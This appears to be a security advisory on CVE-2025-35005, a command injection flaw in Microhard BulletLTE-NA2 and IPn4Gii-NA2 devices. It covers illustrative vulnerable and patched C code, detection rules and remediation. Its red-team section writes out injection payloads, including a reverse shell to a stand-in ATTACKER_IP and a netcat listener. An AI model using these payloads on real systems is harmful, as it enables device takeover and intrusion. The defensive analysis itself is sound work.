CVE-2025-35005

Executive Summary

CVE-2025-35005 is a post-authentication command injection vulnerability affecting Microhard BulletLTE-NA2 and IPn4Gii-NA2 devices. The flaw resides in the AT+MFMAC command, where argument delimiters are not properly neutralized, allowing an authenticated attacker to inject arbitrary operating system commands. This can lead to privilege escalation, enabling full control over the device. The vulnerability is classified as CWE-88 (Argument Injection) and carries a CVSS score of 7.1 (High). No public exploit code or patch is currently available, but the risk is significant for organizations using these devices in critical infrastructure or remote connectivity roles.

CVSS Breakdown & Threat Level

• CVSS Score: 7.1 (High)
• Vector: CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N
• Attack Vector: Local (requires authenticated access to the device)
• Attack Complexity: Low
• Privileges Required: Low (authenticated user)
• User Interaction: None
• Scope: Unchanged
• Confidentiality Impact: High
• Integrity Impact: High
• Availability Impact: None

The threat level is elevated due to the potential for privilege escalation and full device compromise, especially in environments where these devices are used as cellular gateways or routers.

Deep Dive & Mechanics

The vulnerability is a classic argument injection (CWE-88) within the AT+MFMAC command handler. AT commands are used to control modems, and the MFMAC command likely sets or retrieves the MAC address. The command parser fails to properly sanitize argument delimiters (e.g., spaces, semicolons, or newlines), allowing an attacker to break out of the intended command and execute arbitrary shell commands.

Attack Flow:

1. Attacker gains low-privileged access to the device (e.g., via default credentials or another vulnerability).
2. Attacker sends a crafted AT+MFMAC command containing injected OS commands (e.g., AT+MFMAC=00:11:22:33:44:55; ls -la).
3. The device executes the injected commands with elevated privileges (likely root), leading to full compromise.

The vulnerability is particularly dangerous because it requires only low privileges and no user interaction, making it a prime target for lateral movement within a network.

Vulnerable vs. Patched Code

Since no patch is available, the vulnerable code is presumed to be in the firmware of BulletLTE-NA2 and IPn4Gii-NA2 devices. The following pseudo-code illustrates the flaw:

Vulnerable (C):

void handle_at_mfmac(char *input) {
    char cmd[256];
    snprintf(cmd, sizeof(cmd), "iwconfig wlan0 hw ether %s", input);
    system(cmd);  // No sanitization of input
}

Patched (C):

void handle_at_mfmac(char *input) {
    // Validate input format (e.g., MAC address pattern)
    if (!is_valid_mac(input)) {
        return error("Invalid MAC");
    }
    // Use execve with separate arguments to avoid shell injection
    char *args[] = {"iwconfig", "wlan0", "hw", "ether", input, NULL};
    execve("/sbin/iwconfig", args, NULL);
}

The patched version validates input format and uses execve instead of system, preventing shell interpretation of delimiters.

Exploitation & Lab Setup

Red Team

Prerequisites:

• Access to a vulnerable Microhard device (BulletLTE-NA2 or IPn4Gii-NA2)
• Low-privileged credentials (e.g., admin/admin)
• Network connectivity to the device's management interface (e.g., SSH, serial, or web)

Exploitation Steps:

1. Connect to the device via SSH or serial console.
2. Send a crafted AT command:

   AT+MFMAC=00:11:22:33:44:55; id
   

3. Observe the output of the id command, confirming command injection.
4. Escalate privileges by injecting a reverse shell:

   AT+MFMAC=00:11:22:33:44:55; /bin/bash -c 'bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1'
   

5. On the attacker machine, listen for the reverse shell:

   nc -lvnp 4444
   

Note: No public exploit code is available, so this is a theoretical exploitation path.

Blue Team

Detection:

• Monitor for unusual AT commands containing shell metacharacters (;, |, &, $, `)
• Alert on commands that deviate from expected MAC address format (e.g., non-hex characters)
• Log all AT command executions and correlate with user sessions

Hunting:

• Search for commands containing AT+MFMAC followed by suspicious strings
• Look for processes spawned by the AT command handler (e.g., iwconfig with unexpected arguments)
• Check for outbound connections from the device to unknown IPs (potential reverse shells)

Containment:

• Immediately isolate affected devices from the network
• Change all credentials on the device
• Disable AT command access if not required

Indicators of Compromise (IOCs)

• Network: Outbound connections to attacker-controlled IPs on high ports (e.g., 4444, 8080)
• Process: Unexpected processes like /bin/bash, /bin/sh, or nc spawned by the AT handler
• Logs: AT command logs containing shell metacharacters (e.g., ;, |, &)
• File: Modified system binaries or scripts in /tmp or /var
• Registry/Config: Unusual MAC addresses set via AT+MFMAC (e.g., containing non-hex characters)

Detection Engineering

YARA Rule

rule CVE_2025_35005_AT_MFMAC_Injection {
    meta:
        description = "Detects command injection attempts via AT+MFMAC on Microhard devices"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-35005"
    strings:
        $at_cmd = "AT+MFMAC="
        $shell_chars = /[;|&$`()]/
    condition:
        $at_cmd and $shell_chars
}

Sigma Rule

title: CVE-2025-35005 AT+MFMAC Command Injection
id: 8a9b3c4d-5e6f-7a8b-9c0d-1e2f3a4b5c6d
status: experimental
description: Detects command injection attempts via AT+MFMAC on Microhard devices
author: Valters IT
date: 2025-04-10
logsource:
    product: microhard
    service: at_command_log
detection:
    selection:
        Command|contains: "AT+MFMAC="
        Command|contains|any:
            - ";"
            - "|"
            - "&"
            - "$"
            - "`"
    condition: selection
falsepositives:
    - Legitimate use of semicolons in MAC addresses (unlikely)
level: high

Suricata Rule

alert tcp $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-35005 AT+MFMAC Command Injection"; flow:to_server,established; content:"AT+MFMAC="; pcre:"/AT\+MFMAC=[^;]*[;|&$`]/"; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Isolate devices: Place vulnerable Microhard devices behind a firewall and restrict management access to trusted IPs only.
2. Change credentials: Use strong, unique passwords for all device accounts.
3. Disable AT command access: If possible, disable the AT command interface or restrict it to read-only commands.

Long-term Fix:

• Vendor patch: Monitor Microhard for a firmware update that properly sanitizes AT command arguments.
• Workaround: Implement a network-level IDS/IPS to detect and block malicious AT commands.
• Replace devices: If no patch is forthcoming, consider replacing the devices with alternatives that have proper input validation.

Detection:

• Deploy the YARA, Sigma, and Suricata rules provided above.
• Enable detailed logging on all Microhard devices and centralize logs for analysis.

Valters IT